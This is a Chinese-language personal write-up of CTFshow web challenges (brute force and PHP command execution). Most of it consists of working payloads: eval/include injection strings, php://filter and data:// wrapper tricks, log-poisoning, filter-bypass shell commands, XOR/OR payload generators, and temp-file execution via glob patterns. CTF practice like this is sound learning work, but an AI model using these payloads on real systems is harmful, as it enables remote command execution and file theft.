CTFshow做题记录

CTFshow做题记录

2021/7/26

信息搜集

web1

web2

web3

web4

web5

web6

web7

web8

web9

web10

web11

web12

web13

web14

web15

web16

web17

web18

web19

web20

爆破

web21

输入用户名和密码 admin 123456

image-20210726211052553

抓包可以看到会把[用户名:密码]加密成base64

payload type使用Custom iterator

第一段为admin

image-20210726211605851

第二段为:

image-20210726211639477

第三段为字典

image-20210726211737295

加密成base64形式 并取消urlencode编码

image-20210726212135277

image-20210726212147815

image-20210726212205726

web22

web23

对两位数进行md5加密

int不能转换字母 遇到字母会报错

1
2
3
4
5
6
7
8
9
10
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
t = str(a)+str(b)
m=hashlib.md5(t.encode('utf-8')).hexdigest()
if(m[1:2]==m[14:15]==m[17:18]):
if(int(m[1:2])+int(m[14:15])+int(m[17:18])/int(m[1:2])==int(m[31:32])):
print(a+b)
exit()

web24

web25

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
Linux version 5.4.0-71-generic (buildd@lcy01-amd64-020) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #79-Ubuntu SMP Wed Mar 24 10:56:57 UTC 2021 Linux version 5.4.0-71-generic (buildd@lcy01-amd64-020) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #79-Ubuntu SMP Wed Mar 24 10:56:57 UTC 2021

通过源码可以得知

先利用flag当种子

1
mt_srand(hexdec(substr(md5($flag), 0,8)));

然后用传参的r减去第一个随机数

1
$rand = intval($r)-intval(mt_rand());

这时候我们传r=0得到第一个随机数

image-20210726185514755

利用php_mt_seed工具爆破种子

image-20210726185620450

前面抓包可以知道php版本为7.3

所以种子应该是这三个其中之一

1
2
3
4
5
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}

先传入rand等于第一个随机数 保证其减去本身$rand=0

if中!0为真 脚本继续运行

更改cookie为后两个随机数之和 然后抓包更改cookie

经过实验 第二个种子读出了flag

image-20210726185738232

image-20210726185948396

web26

下载录取名单

进入信息查询api

http://632e82ba-2bda-495b-8e7d-07bcb013b353.challenge.ctf.show:8080/info/checkdb.php

构造js里看到的用户名和密码

抓包

构造身份证中缺少的出生日期

image-20210726213006198

爆破得到返回信息

然后登陆得到flag

web27

选择Cluster bomb攻击模式

删除2.txt 增加两个爆破变量

image-20210726213833870

爆破得到flag

image-20210726214220502

image-20210726214228298

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

web29

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=system('tac f*');
1
2
3
4
5
6
7
8
9
10
csdn:
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤

web30

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=var_dump(shell_exec('tac f*'));
1
?c=passthru('tac f*');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
csdn:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

2020/7/27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

命令执行

web31

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=passthru("tac%09f*");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
csdn:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

web32

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
4
5
csdn:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web34

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web35

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web36

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php assert(system('tac f*'));?>
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web37

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
1
?c=data://text/plain,<?php system('tac f*');?>
1
2
3
4
csdn:
c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

web38

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

过滤了php file无法直接写命令了

做法一:

利用User-Agent配合文件包含执行命令

image-20210727162553736

image-20210727162717984

做法二:
1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

image-20210727163549746

这里发现base64字符最后需要以等于号结尾 不知道为什么

例:

phpinfo()可以构造最后为等于号结尾 加一个分号phpinfo();不是等于号结尾就不行了

image-20210727163659304

image-20210727163748202

1
2
3
4
csdn:
c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
c=/var/log/nginx/access.log

web39

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

限定了传入的字符加上php后再进行包含

但是没有过滤php file字符

1
2
3
4
5
6
?c=data://text/plain,<?php system('tac f*');?>
?c=data://text/plain,<?php system('tac f*');?>.php 后面加.php后缀依然可以包含
但是如果换成base64 就破坏了原有的base64语句 无法执行

Hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40

套娃

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

无参数RCE 参考链接

1
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

可以传参,但是对输入进行了严格的过滤,如果通过检测,就可以被eval执行。

过滤了几个常见的伪协议,不能通过伪协议读取文件

preg_replace函数中的正则匹配是无参数函数的校验

其中的()是中文括号

其只允许执行如下格式函数

1
a(b(c()));a();

current() 返回数组中的当前单元, 默认取第一个值。

localeconv() 函数返回一包含本地数字及货币格式信息的数组

pos() current() 的别名

这里还有一个知识点:

current(localeconv())永远都是个点

?c=print_r(localeconv());

image-20210727185710560

?c=print_r(current(localeconv())); 就会返回一个点

因为

current() 返回数组中的当前单元, 默认取第一个值。

image-20210727185932975

current(localeconv())永远都是个点

1
print_r(scandir(current(localeconv())));=========print_r(scandir(pos(localeconv())));======================print_r(scandir('.'));

image-20210727190046029

我们现在需要读出数组中倒数第二个内容 即flag.php

首先想到的是通过随机函数来读 array_rand()

array_rand():从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景,

但是array_rand只能读出键

所以想办法把键值对互换

array_flip()交换数组的键和值

?c=print_r(array_flip(scandir(current(localeconv()))));

image-20210727190433459

键值对交换完毕再用array_rand()随机读取

?c=print_r(array_rand(array_flip(scandir(current(localeconv())))));

刷新就能刷出随机的文件

image-20210727190633383

做法一:

配合readfile/highlight_file等函数读出flag

1
?c=readfile(array_rand(array_flip(scandir(current(localeconv()))))); //不太好用
1
?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); //好用
1
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); //好用

image-20210727191432990

百分百读出flag

1
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

array_reverse函数:array_reverse() 函数返回翻转顺序的数组。

next函数:next() 函数将内部指针指向数组中的下一个元素,并输出。

反转一下 读第二个 正好是flag.php

做法二:
1
?c=show_source(session_id(session_start()));

配合session读文件

踩个坑

之前做的题的payload不行了

1
?c=system(session_id(session_start()));

image-20210727193440141

改成这样就行了

1
?c=session_start();system(session_id());

image-20210727193506288

但是把session改成文件名 配合函数依然无法读取

查阅发现:受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

web41

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

用了大佬的脚本 两个脚本结合

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}

}

generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

or.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

php生成字典 python结合字典生成payload

踩坑:火狐渗透便携版的hackbar可以执行

image-20210727211411183

1
c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a");;#

image-20210727211625683

image-20210727211542552

抓包可以

image-20210727211759147

新版火狐不行

image-20210727211708147

2020/7/28

web42

源码:

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

参考文章:https://www.cnblogs.com/ultranms/p/9353157.html

简单理解

1
2
3
4
5
6
7
8
9
10
11
12
13
重定向绑定

好了,在有了以上知识的基础上,我们再来看开头提到的>/dev/null 2>&1。这条命令其实分为两命令,一个是>/dev/null,另一个是2>&1。

1. >/dev/null

这条命令的作用是将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。

2. 2>&1

这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。

linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
命令 标准输出 错误输出
>/dev/null 2>&1 丢弃 丢弃
2>&1 >/dev/null 丢弃 屏幕

利用%0a截断后面的命令 得以正常输出

1
2
3
4
5
6
7
8
?c=tac f*%0a //%0a换行
?c=tac f*;%0a

?c=tac f*;&
?c=tac f*%26

?c=tac f*||
?c=tac f*%7c%7c

web43

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了 cat

不影响上一题的payload

1
?c=tac f*%0a

web44

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤又多了个flag

依然不影响第一题的payload

1
?c=tac f*%0a

web45

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了个空格

把之前的空格替换成&09(tab)

或者用$IFS $IFS$9代替空格

1
2
3
4
5
6
7
?c=tac%09f*%0a
?c=echo%09`tac%09*`%0a

?c=echo$IFS`tac%09*`%0a

?c=echo%09`tac\$IFS\$9*`%0a //仅第一次执行回显flag
?c=echo%09`tac$IFS$9*`%0a //仅第一次执行回显flag

web46

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤增加了数字 $ *

换个通配符 或者用 \ ‘’ “”绕过

1
2
3
4
5
6
7
8
?c=tac%09f???.php%0a

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a
?c=tac%09fla""g.php%0a

?c=tac<fla""g.php%0a //用<绕过
?c=nl<fla''g.php|| //||默认是前面成功则不执行后面

web47

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了几个可以查看文件内容的命令 和上一题差不多的

1
?c=tac%09f???.php%0a

web48

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了几个可以查看文件内容的命令 和上一题差不多的

1
?c=tac%09f???.php%0a

web49

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤增加了反引号和%

1
?c=tac<fla\g.php|| //之前的用?匹配的payload用不了了

web50

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

增加了点过滤 和上一题还是差不多

1
?c=tac<fla\g.php||

web51

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

我最爱使用的tac被过滤了

1
2
3
4
5
6
7
8
9
其他命令
?c=nl<fla\g.php||
?c=uniq<fla\g.php||
?c=vi<fla\g.php||

tac混淆
?c=ta\c<fla\g.php||
?c=ta\c<fla''g.php||
?c=ta\c<fla""g.php||

web52

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了<> 把对$的过滤取消了

1
2
3
4
5
6
7
8
?c=nl$IFS\fla\g.php|| //./flag.php 是假的
?c=nl${IFS}fla\g.php||


?c=nl$IFS\/fla''g|| // /flag 是真的

?c=nl${IFS}/fla''g||
?c=nl${IFS}\/fla''g||

web53

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

不用截断了 可以直接执行命令

1
2
3
4
5
6
7
8
9
10
?c=ta''c$IFS\fla\g.php
?c=nl$IFS\fla\g.php

?c=ta''c$IFS\fla''g.php
?c=ta''c$IFS\fla''g.ph''p
?c=ta''c$IFS\fla''g.ph''p
?c=ta''c$IFS\fla''g.p''h''p
?c=ta''c$IFS\fla''g.p''hp
?c=ta''c$IFS\fla''g.ph''p''
?c=ta''c$IFS\fla''g.php''

web54

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤比较严格 不能用符号混淆匹配了

匹配到bin下的命令 查看flag.php 这里不用$IFS\了 不太明白为什么

1
2
3
4
5
6
?c=/bin/c??${IFS}????????
?c=/bin/c?t$IFS????????
?c=/bin/c?t${IFS}????????

?c=/bin/m???${IFS}????????
?c=/bin/mo?e${IFS}????????

web55

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:

通过html表单构造post上传包

参考:https://blog.csdn.net/qq_46091464/article/details/108513145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://192.168.2.179/index.php" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这个tmp文件在linux下面保存在/tmp/php??????

一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

然后通过的 . filename 去执行里面的文件内容

注意:通过.去执行sh命令不需要有执行权限

p神的无字母getshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

1
2
3
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于`@`与`[`之间:

tmp下的文件太多了 因为临时文件包含大写字母 让其中一位是大写字母 多发几次包 就匹配上了

1
?c=.%20/???/????????[@-[]

image-20210728183704339

image-20210728191629607

本地实验

tmp里生成的php临时文件属于秒删的文件 需要条件竞争

本地源码:

1
2
3
4
<?php
highlight_file(__FILE__);
$c=$_GET['c'];
system($c);

.%20 .+ 跟文件名都可以

image-20210728190756221

本地全?匹配可以匹配到 可能是因为本地临时文件少

image-20210728191743174

image-20210728190629382

image-20210728190706636

方法二:

有这个命令的服务器可以用

image-20210728192220599

image-20210728192203671

1
2
3
?c=/???/????64 ????????
等价于
?c=/bin/base64 flag.php

image-20210728192113682

web56

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

屏蔽的字符又多了一些

base64读取的方法就不能用了

用构造上传的方式 文件名随意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 36af94db-2741-4936-9b3f-628b371c2bf8.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
